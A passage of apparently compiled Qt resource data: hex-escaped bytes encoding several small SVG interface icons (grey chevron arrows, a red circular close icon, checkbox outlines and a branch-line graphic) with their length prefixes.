\x37\x31\x32\x34\x2c\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x20\x30\
\x2c\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x20\x30\x2e\x31\x35\x37\
\x37\x31\x32\x35\x2c\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x20\x30\
\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x36\x32\x38\
\x31\x33\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x2d\x30\x2e\
\x30\x30\x31\x34\x32\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x33\x64\x61\x65\x65\x39\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\
\x0a\
\x00\x00\x02\x12\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x32\x30\x30\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x32\x30\x30\x22\x3e\x0a\
\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x20\x36\x30\x30\
\x2c\x31\x30\x35\x30\x20\x43\x20\x33\x35\x31\x2e\x34\x37\x32\x2c\
\x31\x30\x35\x30\x20\x31\x35\x30\x2c\x38\x34\x38\x2e\x35\x32\x38\
\x20\x31\x35\x30\x2c\x36\x30\x30\x20\x31\x35\x30\x2c\x33\x35\x31\
\x2e\x34\x37\x32\x20\x33\x35\x31\x2e\x34\x37\x32\x2c\x31\x35\x30\
\x20\x36\x30\x30\x2c\x31\x35\x30\x20\x63\x20\x32\x34\x38\x2e\x35\
\x32\x38\x2c\x30\x20\x34\x35\x30\x2c\x32\x30\x31\x2e\x34\x37\x32\
\x20\x34\x35\x30\x2c\x34\x35\x30\x20\x30\x2c\x32\x34\x38\x2e\x35\
\x32\x38\x20\x2d\x32\x30\x31\x2e\x34\x37\x32\x2c\x34\x35\x30\x20\
\x2d\x34\x35\x30\x2c\x34\x35\x30\x20\x7a\x20\x4d\x20\x38\x38\x38\
\x2e\x34\x36\x32\x2c\x38\x32\x37\x2e\x38\x35\x31\x20\x36\x36\x31\
\x2e\x39\x37\x34\x2c\x36\x30\x31\x2e\x31\x32\x32\x20\x6c\x20\x30\
\x2c\x2d\x32\x2e\x32\x34\x34\x20\x32\x32\x36\x2e\x34\x38\x38\x2c\
\x2d\x32\x32\x36\x2e\x37\x32\x39\x20\x30\x2c\x2d\x36\x30\x2e\x36\
\x31\x31\x20\x2d\x36\x30\x2e\x38\x34\x38\x2c\x30\x20\x51\x20\x37\
\x32\x37\x2e\x33\x33\x39\x2c\x34\x31\x31\x2e\x39\x38\x36\x20\x36\
\x32\x37\x2e\x30\x34\x33\x2c\x35\x31\x32\x2e\x34\x35\x31\x20\x36\
\x31\x33\x2e\x35\x32\x34\x2c\x35\x32\x35\x2e\x33\x35\x38\x20\x36\
\x30\x30\x2c\x35\x33\x38\x2e\x32\x36\x37\x20\x6c\x20\x2d\x32\x32\
\x36\x2e\x34\x38\x37\x2c\x2d\x32\x32\x36\x2e\x37\x32\x39\x20\x2d\
\x36\x31\x2e\x39\x37\x35\x2c\x30\x20\x30\x2c\x36\x30\x2e\x36\x31\
\x31\x20\x4c\x20\x35\x33\x38\x2e\x30\x32\x36\x2c\x36\x30\x30\x20\
\x33\x31\x31\x2e\x35\x33\x38\x2c\x38\x32\x36\x2e\x37\x32\x39\x20\
\x6c\x20\x30\x2c\x36\x31\x2e\x37\x33\x33\x20\x36\x30\x2e\x38\x34\
\x38\x2c\x30\x20\x71\x20\x33\x34\x2e\x33\x36\x33\x2c\x2d\x33\x34\
\x2e\x37\x39\x32\x20\x36\x38\x2e\x37\x33\x35\x2c\x2d\x36\x39\x2e\
\x35\x39\x20\x4c\x20\x36\x30\x30\x2c\x36\x36\x31\x2e\x37\x33\x33\
\x20\x6c\x20\x32\x32\x36\x2e\x34\x38\x37\x2c\x32\x32\x36\x2e\x37\
\x32\x39\x20\x36\x31\x2e\x39\x37\x35\x2c\x30\x20\x30\x2c\x2d\x36\
\x30\x2e\x36\x31\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x62\x33\x33\x65\x33\x65\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\
\x0a\
\x00\x00\x02\x2d\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x36\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x39\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x36\x20\x39\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x36\x20\x39\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x6d\x20\x35\x2e\x30\x38\x32\x33\x30\x32\x38\x2c\x31\x2e\x31\x38\
\x39\x34\x35\x39\x33\x20\x2d\x33\x2e\x33\x31\x30\x33\x32\x31\x2c\
\x33\x2e\x33\x31\x30\x35\x34\x30\x38\x20\x33\x2e\x33\x31\x31\x37\
\x34\x31\x37\x2c\x33\x2e\x33\x31\x30\x35\x34\x30\x38\x20\x63\x20\
\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x31\x35\x37\x37\x31\
\x32\x35\x20\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x34\x31\
\x33\x34\x36\x32\x34\x20\x30\x2c\x30\x2e\x35\x37\x31\x31\x37\x34\
\x39\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x2c\x30\x2e\x31\x35\
\x37\x37\x31\x32\x33\x20\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\x39\
\x2c\x30\x2e\x31\x35\x37\x37\x31\x32\x33\x20\x2d\x30\x2e\x35\x37\
\x31\x31\x33\x36\x39\x2c\x30\x20\x6c\x20\x2d\x33\x2e\x35\x39\x37\
\x33\x31\x30\x31\x37\x2c\x2d\x33\x2e\x35\x39\x36\x31\x32\x38\x33\
\x20\x30\x2c\x30\x20\x30\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\
\x37\x37\x30\x31\x39\x31\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x20\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x31\x2c\x2d\x30\
\x2e\x34\x31\x33\x34\x36\x32\x34\x20\x30\x2c\x2d\x30\x2e\x35\x37\
\x31\x31\x37\x34\x38\x20\x4c\x20\x34\x2e\x35\x31\x32\x35\x38\x36\
\x36\x2c\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x37\x20\x63\x20\x30\
\x2e\x31\x35\x37\x37\x30\x32\x2c\x2d\x30\x2e\x31\x35\x37\x37\x31\
\x32\x34\x20\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x2c\x2d\x30\x2e\
\x31\x35\x37\x37\x31\x32\x34\x20\x30\x2e\x35\x37\x31\x31\x33\x36\
\x39\x2c\x30\x20\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x2c\x30\x2e\
\x31\x35\x37\x37\x31\x32\x35\x20\x30\x2e\x31\x35\x36\x32\x38\x31\
\x33\x2c\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x33\x20\x2d\x30\x2e\
\x30\x30\x31\x34\x32\x2c\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x33\
\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x62\x30\x62\x30\x62\
\x30\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x22\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x39\x20\x36\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x39\x20\x36\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\x39\x32\x2c\x35\x2e\x30\x38\
\x33\x33\x30\x32\x38\x20\x34\x2e\x35\x2c\x31\x2e\x37\x37\x32\x39\
\x38\x31\x38\x20\x37\x2e\x38\x31\x30\x35\x34\x30\x38\x2c\x35\x2e\
\x30\x38\x34\x37\x32\x33\x35\x20\x63\x20\x30\x2e\x31\x35\x37\x37\
\x31\x32\x35\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x30\x2e\x34\
\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x30\x20\x30\x2e\x31\x35\
\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x34\x31\x33\
\x34\x33\x34\x39\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\
\x39\x20\x6c\x20\x2d\x33\x2e\x35\x39\x36\x31\x32\x38\x33\x2c\x2d\
\x33\x2e\x35\x39\x37\x33\x31\x30\x31\x39\x20\x30\x2c\x30\x20\x30\
\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\
\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\x34\x31\
\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x31\x39\
\x20\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x2c\x30\x20\x4c\x20\
\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x2c\x34\x2e\x35\x31\x33\x35\
\x38\x36\x36\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\x34\
\x2c\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x2d\x30\x2e\x31\x35\x37\
\x37\x31\x32\x34\x2c\x30\x2e\x34\x31\x33\x34\x33\x34\x39\x20\x30\
\x2c\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x20\x30\x2e\x31\x35\x37\
\x37\x31\x32\x35\x2c\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x20\x30\
\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x36\x32\x38\
\x31\x33\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x2d\x30\x2e\
\x30\x30\x31\x34\x32\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x62\x30\x62\x30\x62\x30\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\
\x0a\
\x00\x00\x01\x4a\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x38\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x38\x20\x31\
\x38\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x38\
\x20\x31\x38\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x32\x2c\x32\x20\x68\x31\x34\x20\x76\
\x31\x34\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x31\x33\x2e\x31\x20\
\x68\x2d\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x33\x31\x33\x36\x33\x42\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x36\x2c\x31\x36\x20\x68\x2d\x31\
\x34\x20\x76\x2d\x31\x34\x20\x68\x30\x2e\x39\x20\x76\x31\x33\x2e\
\x31\x20\x68\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\
\x22\x23\x33\x31\x33\x36\x33\x42\x22\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x64\x3d\x22\x4d\x35\x2c\x35\x20\x68\x38\x20\x76\
\x38\x20\x68\x2d\x38\x20\x76\x2d\x38\x20\x7a\x22\x20\x66\x69\x6c\
\x6c\x3d\x22\x23\x33\x31\x33\x36\x33\x42\x22\x20\x66\x69\x6c\x6c\
\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x2a\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x39\x70\x78\x22\x20\
\x68\x65\x69\x67\x68\x74\x3d\x22\x36\x70\x78\x22\x20\x76\x69\x65\
\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x39\x20\x36\x22\x20\x65\
\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\
\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x39\x20\x36\x22\x20\x78\
\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\x70\x72\x65\x73\x65\x72\
\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\
\x4d\x20\x31\x2e\x31\x38\x39\x34\x35\x39\x32\x2c\x30\x2e\x39\x31\
\x37\x36\x39\x37\x31\x38\x20\x34\x2e\x35\x2c\x34\x2e\x32\x32\x38\
\x30\x31\x38\x32\x20\x37\x2e\x38\x31\x30\x35\x34\x30\x38\x2c\x30\
\x2e\x39\x31\x36\x32\x37\x36\x34\x38\x20\x63\x20\x30\x2e\x31\x35\
\x37\x37\x31\x32\x35\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\
\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\x2d\x30\x2e\x31\x35\x37\
\x37\x30\x32\x20\x30\x2e\x35\x37\x31\x31\x37\x34\x39\x2c\x30\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\
\x30\x32\x30\x32\x20\x30\x2e\x31\x35\x37\x37\x31\x32\x34\x2c\x30\
\x2e\x34\x31\x33\x34\x33\x34\x39\x32\x20\x30\x2c\x30\x2e\x35\x37\
\x31\x31\x33\x36\x39\x32\x20\x6c\x20\x2d\x33\x2e\x35\x39\x36\x31\
\x32\x38\x33\x2c\x33\x2e\x35\x39\x37\x33\x31\x30\x32\x20\x30\x2c\
\x30\x20\x30\x2c\x30\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\
\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x31\x39\x20\x2d\x30\x2e\
\x34\x31\x33\x34\x36\x32\x34\x2c\x30\x2e\x31\x35\x37\x37\x30\x31\
\x39\x20\x2d\x30\x2e\x35\x37\x31\x31\x37\x34\x38\x2c\x30\x20\x4c\
\x20\x30\x2e\x36\x31\x38\x32\x38\x34\x33\x2c\x31\x2e\x34\x38\x37\
\x34\x31\x33\x34\x20\x63\x20\x2d\x30\x2e\x31\x35\x37\x37\x31\x32\
\x34\x2c\x2d\x30\x2e\x31\x35\x37\x37\x30\x32\x20\x2d\x30\x2e\x31\
\x35\x37\x37\x31\x32\x34\x2c\x2d\x30\x2e\x34\x31\x33\x34\x33\x34\
\x39\x20\x30\x2c\x2d\x30\x2e\x35\x37\x31\x31\x33\x36\x39\x32\x20\
\x30\x2e\x31\x35\x37\x37\x31\x32\x35\x2c\x2d\x30\x2e\x31\x35\x36\
\x32\x38\x31\x33\x31\x20\x30\x2e\x34\x31\x33\x34\x36\x32\x34\x2c\
\x2d\x30\x2e\x31\x35\x36\x32\x38\x31\x33\x31\x20\x30\x2e\x35\x37\
\x31\x31\x37\x34\x39\x2c\x30\x2e\x30\x30\x31\x34\x32\x20\x7a\x22\
\x20\x66\x69\x6c\x6c\x3d\x22\x23\x62\x30\x62\x30\x62\x30\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\x4a\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x38\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x38\x20\x31\
\x38\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x38\
\x20\x31\x38\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x32\x2c\x32\x20\x68\x31\x34\x20\x76\
\x31\x34\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x31\x33\x2e\x31\x20\
\x68\x2d\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x35\x31\x63\x32\x66\x63\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x36\x2c\x31\x36\x20\x68\x2d\x31\
\x34\x20\x76\x2d\x31\x34\x20\x68\x30\x2e\x39\x20\x76\x31\x33\x2e\
\x31\x20\x68\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\
\x22\x23\x35\x31\x63\x32\x66\x63\x22\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x64\x3d\x22\x4d\x35\x2c\x35\x20\x68\x38\x20\x76\
\x38\x20\x68\x2d\x38\x20\x76\x2d\x38\x20\x7a\x22\x20\x66\x69\x6c\
\x6c\x3d\x22\x23\x35\x31\x63\x32\x66\x63\x22\x20\x66\x69\x6c\x6c\
\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\
\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\xec\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x38\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x38\x20\x31\
\x38\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x38\
\x20\x31\x38\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x32\x2c\x32\x20\x68\x31\x34\x20\x76\
\x31\x34\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x31\x33\x2e\x31\x20\
\x68\x2d\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x33\x31\x33\x36\x33\x42\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x36\x2c\x31\x36\x20\x68\x2d\x31\
\x34\x20\x76\x2d\x31\x34\x20\x68\x30\x2e\x39\x20\x76\x31\x33\x2e\
\x31\x20\x68\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\
\x22\x23\x33\x31\x33\x36\x33\x42\x22\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x64\x3d\x22\x4d\x35\x2c\x35\x20\x68\x38\x20\x76\
\x38\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x37\x2e\x31\x20\x68\x2d\
\x37\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x33\x31\
\x33\x36\x33\x42\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\
\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x20\x20\x3c\x70\
\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x33\x2c\x31\x33\x20\x68\x2d\
\x38\x20\x76\x2d\x38\x20\x68\x30\x2e\x39\x20\x76\x37\x2e\x31\x20\
\x68\x37\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\x33\
\x31\x33\x36\x33\x42\x22\x20\x66\x69\x6c\x6c\x2d\x72\x75\x6c\x65\
\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\x22\x2f\x3e\x0a\x20\x20\x3c\
\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x33\x2c\x35\x20\x4c\x20\
\x35\x2c\x31\x33\x20\x76\x2d\x38\x20\x68\x38\x20\x7a\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x33\x31\x33\x36\x33\x42\x22\x20\x66\x69\
\x6c\x6c\x2d\x72\x75\x6c\x65\x3d\x22\x65\x76\x65\x6e\x6f\x64\x64\
\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x02\x12\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x32\x30\x30\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x32\x30\x30\x22\x3e\x0a\
\x20\x20\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x20\x36\x30\x30\
\x2c\x31\x30\x35\x30\x20\x43\x20\x33\x35\x31\x2e\x34\x37\x32\x2c\
\x31\x30\x35\x30\x20\x31\x35\x30\x2c\x38\x34\x38\x2e\x35\x32\x38\
\x20\x31\x35\x30\x2c\x36\x30\x30\x20\x31\x35\x30\x2c\x33\x35\x31\
\x2e\x34\x37\x32\x20\x33\x35\x31\x2e\x34\x37\x32\x2c\x31\x35\x30\
\x20\x36\x30\x30\x2c\x31\x35\x30\x20\x63\x20\x32\x34\x38\x2e\x35\
\x32\x38\x2c\x30\x20\x34\x35\x30\x2c\x32\x30\x31\x2e\x34\x37\x32\
\x20\x34\x35\x30\x2c\x34\x35\x30\x20\x30\x2c\x32\x34\x38\x2e\x35\
\x32\x38\x20\x2d\x32\x30\x31\x2e\x34\x37\x32\x2c\x34\x35\x30\x20\
\x2d\x34\x35\x30\x2c\x34\x35\x30\x20\x7a\x20\x4d\x20\x38\x38\x38\
\x2e\x34\x36\x32\x2c\x38\x32\x37\x2e\x38\x35\x31\x20\x36\x36\x31\
\x2e\x39\x37\x34\x2c\x36\x30\x31\x2e\x31\x32\x32\x20\x6c\x20\x30\
\x2c\x2d\x32\x2e\x32\x34\x34\x20\x32\x32\x36\x2e\x34\x38\x38\x2c\
\x2d\x32\x32\x36\x2e\x37\x32\x39\x20\x30\x2c\x2d\x36\x30\x2e\x36\
\x31\x31\x20\x2d\x36\x30\x2e\x38\x34\x38\x2c\x30\x20\x51\x20\x37\
\x32\x37\x2e\x33\x33\x39\x2c\x34\x31\x31\x2e\x39\x38\x36\x20\x36\
\x32\x37\x2e\x30\x34\x33\x2c\x35\x31\x32\x2e\x34\x35\x31\x20\x36\
\x31\x33\x2e\x35\x32\x34\x2c\x35\x32\x35\x2e\x33\x35\x38\x20\x36\
\x30\x30\x2c\x35\x33\x38\x2e\x32\x36\x37\x20\x6c\x20\x2d\x32\x32\
\x36\x2e\x34\x38\x37\x2c\x2d\x32\x32\x36\x2e\x37\x32\x39\x20\x2d\
\x36\x31\x2e\x39\x37\x35\x2c\x30\x20\x30\x2c\x36\x30\x2e\x36\x31\
\x31\x20\x4c\x20\x35\x33\x38\x2e\x30\x32\x36\x2c\x36\x30\x30\x20\
\x33\x31\x31\x2e\x35\x33\x38\x2c\x38\x32\x36\x2e\x37\x32\x39\x20\
\x6c\x20\x30\x2c\x36\x31\x2e\x37\x33\x33\x20\x36\x30\x2e\x38\x34\
\x38\x2c\x30\x20\x71\x20\x33\x34\x2e\x33\x36\x33\x2c\x2d\x33\x34\
\x2e\x37\x39\x32\x20\x36\x38\x2e\x37\x33\x35\x2c\x2d\x36\x39\x2e\
\x35\x39\x20\x4c\x20\x36\x30\x30\x2c\x36\x36\x31\x2e\x37\x33\x33\
\x20\x6c\x20\x32\x32\x36\x2e\x34\x38\x37\x2c\x32\x32\x36\x2e\x37\
\x32\x39\x20\x36\x31\x2e\x39\x37\x35\x2c\x30\x20\x30\x2c\x2d\x36\
\x30\x2e\x36\x31\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x23\
\x64\x63\x37\x36\x37\x36\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\
\x0a\
\x00\x00\x00\xad\
\x3c\
\x73\x76\x67\x20\x77\x69\x64\x74\x68\x3d\x22\x38\x31\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x35\x38\x22\x3e\x0a\x20\x20\x3c\x72\
\x65\x63\x74\x20\x69\x64\x3d\x22\x56\x4c\x69\x6e\x65\x22\x20\x66\
\x69\x6c\x6c\x3d\x22\x23\x62\x63\x62\x66\x63\x32\x22\x20\x78\x3d\
\x22\x33\x36\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x68\
\x65\x69\x67\x68\x74\x3d\x22\x31\x34\x22\x2f\x3e\x0a\x20\x20\x3c\
\x72\x65\x63\x74\x20\x69\x64\x3d\x22\x48\x4c\x69\x6e\x65\x22\x20\
\x66\x69\x6c\x6c\x3d\x22\x23\x62\x63\x62\x66\x63\x32\x22\x20\x78\
\x3d\x22\x36\x35\x22\x20\x79\x3d\x22\x32\x38\x22\x20\x68\x65\x69\
\x67\x68\x74\x3d\x22\x31\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x32\
\x38\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\x67\x3e\x0a\
\x00\x00\x01\x04\
\x3c\
\x73\x76\x67\x20\x78\x3d\x22\x30\x70\x78\x22\x20\x79\x3d\x22\x30\
\x70\x78\x22\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x38\x70\x78\x22\
\x20\x68\x65\x69\x67\x68\x74\x3d\x22\x31\x38\x70\x78\x22\x20\x76\
\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x31\x38\x20\x31\
\x38\x22\x20\x65\x6e\x61\x62\x6c\x65\x2d\x62\x61\x63\x6b\x67\x72\
\x6f\x75\x6e\x64\x3d\x22\x6e\x65\x77\x20\x30\x20\x30\x20\x31\x38\
\x20\x31\x38\x22\x20\x78\x6d\x6c\x3a\x73\x70\x61\x63\x65\x3d\x22\
\x70\x72\x65\x73\x65\x72\x76\x65\x22\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x32\x2c\x32\x20\x68\x31\x34\x20\x76\
\x31\x34\x20\x68\x2d\x30\x2e\x39\x20\x76\x2d\x31\x33\x2e\x31\x20\
\x68\x2d\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\
\x23\x33\x31\x33\x36\x33\x42\x22\x2f\x3e\x0a\x20\x20\x3c\x70\x61\
\x74\x68\x20\x64\x3d\x22\x4d\x31\x36\x2c\x31\x36\x20\x68\x2d\x31\
\x34\x20\x76\x2d\x31\x34\x20\x68\x30\x2e\x39\x20\x76\x31\x33\x2e\
\x31\x20\x68\x31\x33\x2e\x31\x20\x7a\x22\x20\x66\x69\x6c\x6c\x3d\
\x22\x23\x33\x31\x33\x36\x33\x42\x22\x2f\x3e\x0a\x3c\x2f\x73\x76\
\x67\x3e\x0a\
\x00\x00\x00\xbc\
\x3c\
